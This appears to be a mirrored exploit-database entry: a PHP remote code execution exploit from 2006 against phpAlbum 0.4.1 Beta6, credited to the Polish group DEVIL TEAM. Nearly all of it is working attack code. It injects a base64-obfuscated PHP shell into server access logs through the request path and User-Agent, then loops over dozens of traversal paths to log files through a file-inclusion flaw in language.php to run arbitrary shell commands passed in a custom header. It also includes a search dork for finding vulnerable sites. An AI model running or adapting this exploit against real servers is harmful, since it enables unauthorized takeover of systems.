PageRenderTime 42ms CodeModel.GetById 15ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/php/webapps/2913.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 250 lines | 223 code | 18 blank | 9 comment | 21 complexity | 34150b65cd87a4bd64d3cd7f17a83d5f MD5 | raw file
Possible License(s): GPL-2.0
  1. <?
  2. print '
  3. ::::::::: :::::::::: ::: ::: ::::::::::: :::
  4. :+: :+: :+: :+: :+: :+: :+:
  5. +:+ +:+ +:+ +:+ +:+ +:+ +:+
  6. +#+ +:+ +#++:++# +#+ +:+ +#+ +#+
  7. +#+ +#+ +#+ +#+ +#+ +#+ +#+
  8. #+# #+# #+# #+#+#+# #+# #+#
  9. ######### ########## ### ########### ##########
  10. ::::::::::: :::::::::: ::: :::: ::::
  11. :+: :+: :+: :+: +:+:+: :+:+:+
  12. +:+ +:+ +:+ +:+ +:+ +:+:+ +:+
  13. +#+ +#++:++# +#++:++#++: +#+ +:+ +#+
  14. +#+ +#+ +#+ +#+ +#+ +#+
  15. #+# #+# #+# #+# #+# #+#
  16. ### ########## ### ### ### ###
  17. - - [DEVIL TEAM THE BEST POLISH TEAM] - -
  18. [Exploit name: phpAlbum <= v0.4.1 Beta6 Remote Code Execution Exploit
  19. [Script name: phpAlbum v0.4.1 Beta6
  20. [Script site: http://www.phpalbum.net/node/226
  21. dork: "Powered by PHP Photo Album"
  22. Find by: Kacper (a.k.a Rahim)
  23. ========> DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam <========
  24. ========> http://www.rahim.webd.pl/ <========
  25. Contact: kacper1964@yahoo.pl
  26. (c)od3d by Kacper
  27. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  28. Greetings DragonHeart and all DEVIL TEAM Patriots :)
  29. - Leito & Leon | friend str0ke ;)
  30. pepi, nukedclx, SkD, MXZ, sysios, mIvus, wacky, xoron, fdj, mass, D3m0n (ziom z Niemiec :P)
  31. and
  32. Dr Max Virus
  33. TamTurk,
  34. hackersecurity.org
  35. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  36. Greetings for 4ll Fusi0n Group members ;-)
  37. and all members of hacker.com.pl ;)
  38. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  39. ';
  40. /*
  41. if magic_quotes_gpc = off and register_globals = On you can include
  42. arbitrary files from local resources
  43. against PHP5, if register_globals = On and allow_url_fopen = 0n,
  44. you can include an arbitrary translation.dat file from a ftp resource, poc:
  45. http://[target]/[path]/language.php?cmd=ls%20-la&pa_lang[include_file]=ftp://Anonymous:somemail.com@somehost.com/public/
  46. */
  47. if ($argc<4) {
  48. print_r('
  49. -----------------------------------------------------------------------------
  50. Usage: php '.$argv[0].' host path cmd OPTIONS
  51. host: target server (ip/hostname)
  52. path: phpAlbum path
  53. cmd: a shell command (ls -la)
  54. Options:
  55. -p[port]: specify a port other than 80
  56. -P[ip:port]: specify a proxy
  57. Example:
  58. php '.$argv[0].' 2.2.2.2 /phpAlbum/ ls -la -P1.1.1.1:80
  59. php '.$argv[0].' 1.1.1.1 / ls -la
  60. -----------------------------------------------------------------------------
  61. ');
  62. die;
  63. }
  64. error_reporting(0);
  65. ini_set("max_execution_time",0);
  66. ini_set("default_socket_timeout",5);
  67. function sendpacket($packet)
  68. {
  69. global $proxy, $host, $port, $html, $proxy_regex;
  70. if ($proxy=='') {
  71. $ock=fsockopen(gethostbyname($host),$port);
  72. if (!$ock) {
  73. echo 'No response from '.$host.':'.$port; die;
  74. }
  75. }
  76. else {
  77. $c = preg_match($proxy_regex,$proxy);
  78. if (!$c) {
  79. echo 'Not a valid proxy...';die;
  80. }
  81. $parts=explode(':',$proxy);
  82. echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  83. $ock=fsockopen($parts[0],$parts[1]);
  84. if (!$ock) {
  85. echo 'No response from proxy...';die;
  86. }
  87. }
  88. fputs($ock,$packet);
  89. if ($proxy=='') {
  90. $html='';
  91. while (!feof($ock)) {
  92. $html.=fgets($ock);
  93. }
  94. }
  95. else {
  96. $html='';
  97. while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  98. $html.=fread($ock,1);
  99. }
  100. }
  101. fclose($ock);
  102. }
  103. function quick_dump($string)
  104. {
  105. $result='';$exa='';$cont=0;
  106. for ($i=0; $i<=strlen($string)-1; $i++)
  107. {
  108. if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  109. {$result.=" .";}
  110. else
  111. {$result.=" ".$string[$i];}
  112. if (strlen(dechex(ord($string[$i])))==2)
  113. {$exa.=" ".dechex(ord($string[$i]));}
  114. else
  115. {$exa.=" 0".dechex(ord($string[$i]));}
  116. $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  117. }
  118. return $exa."\r\n".$result;
  119. }
  120. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  121. function make_seed()
  122. {
  123. list($usec, $sec) = explode(' ', microtime());
  124. return (float) $sec + ((float) $usec * 100000);
  125. }
  126. $host=$argv[1];
  127. $path=$argv[2];
  128. $cmd="";
  129. $port=80;
  130. $proxy="";
  131. for ($i=3; $i<$argc; $i++){
  132. $temp=$argv[$i][0].$argv[$i][1];
  133. if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
  134. if ($temp=="-p")
  135. {
  136. $port=str_replace("-p","",$argv[$i]);
  137. }
  138. if ($temp=="-P")
  139. {
  140. $proxy=str_replace("-P","",$argv[$i]);
  141. }
  142. }
  143. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  144. echo "insert evil code in logfiles ...\r\n\r\n";
  145. $hauru = base64_decode("PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL".
  146. "i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS".
  147. "4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB".
  148. "UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj".
  149. "aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI".
  150. "jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX".
  151. "NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+");
  152. $packet="GET ".$p.$hauru." HTTP/1.0\r\n";
  153. $packet.="User-Agent: ".$hauru." Googlebot/2.1\r\n";
  154. $packet.="Host: ".$host."\r\n";
  155. $packet.="Connection: close\r\n\r\n";
  156. sendpacket($packet);
  157. sleep(3);
  158. $paths= array (
  159. "../../../../../var/log/httpd/access_log",
  160. "../../../../../var/log/httpd/error_log",
  161. "../apache/logs/error.log",
  162. "../apache/logs/access.log",
  163. "../../apache/logs/error.log",
  164. "../../apache/logs/access.log",
  165. "../../../apache/logs/error.log",
  166. "../../../apache/logs/access.log",
  167. "../../../../apache/logs/error.log",
  168. "../../../../apache/logs/access.log",
  169. "../../../../../apache/logs/error.log",
  170. "../../../../../apache/logs/access.log",
  171. "../logs/error.log",
  172. "../logs/access.log",
  173. "../../logs/error.log",
  174. "../../logs/access.log",
  175. "../../../logs/error.log",
  176. "../../../logs/access.log",
  177. "../../../../logs/error.log",
  178. "../../../../logs/access.log",
  179. "../../../../../logs/error.log",
  180. "../../../../../logs/access.log",
  181. "../../../../../etc/httpd/logs/access_log",
  182. "../../../../../etc/httpd/logs/access.log",
  183. "../../../../../etc/httpd/logs/error_log",
  184. "../../../../../etc/httpd/logs/error.log",
  185. "../../../../../var/www/logs/access_log",
  186. "../../../../../var/www/logs/access.log",
  187. "../../../../../usr/local/apache/logs/access_log",
  188. "../../../../../usr/local/apache/logs/access.log",
  189. "../../../../../var/log/apache/access_log",
  190. "../../../../../var/log/apache/access.log",
  191. "../../../../../var/log/access_log",
  192. "../../../../../var/www/logs/error_log",
  193. "../../../../../var/www/logs/error.log",
  194. "../../../../../usr/local/apache/logs/error_log",
  195. "../../../../../usr/local/apache/logs/error.log",
  196. "../../../../../var/log/apache/error_log",
  197. "../../../../../var/log/apache/error.log",
  198. "../../../../../var/log/access_log",
  199. "../../../../../var/log/error_log"
  200. );
  201. for ($i=0; $i<=count($paths)-1; $i++)
  202. {
  203. $a=$i+2;
  204. echo "[".$a."] Check Path: ".$paths[$i]."\r\n";
  205. echo "remote code execution...wait..\n";
  206. $packet ="GET ".$p."language.php?pa_lang[include_file]=../".$paths[$i]." HTTP/1.1\r\n";
  207. $packet.="HAURU: ".$cmd."\r\n";
  208. $packet.="Host: ".$host."\r\n";
  209. $packet.="Connection: Close\r\n\r\n";
  210. sendpacket($packet);
  211. if (strstr($html,"Hauru"))
  212. {
  213. $temp=explode("Hauru",$html);
  214. die($temp[1]);
  215. }
  216. }
  217. echo "Exploit err0r :(\r\n";
  218. echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n";
  219. ?>
  220. # milw0rm.com [2006-12-10]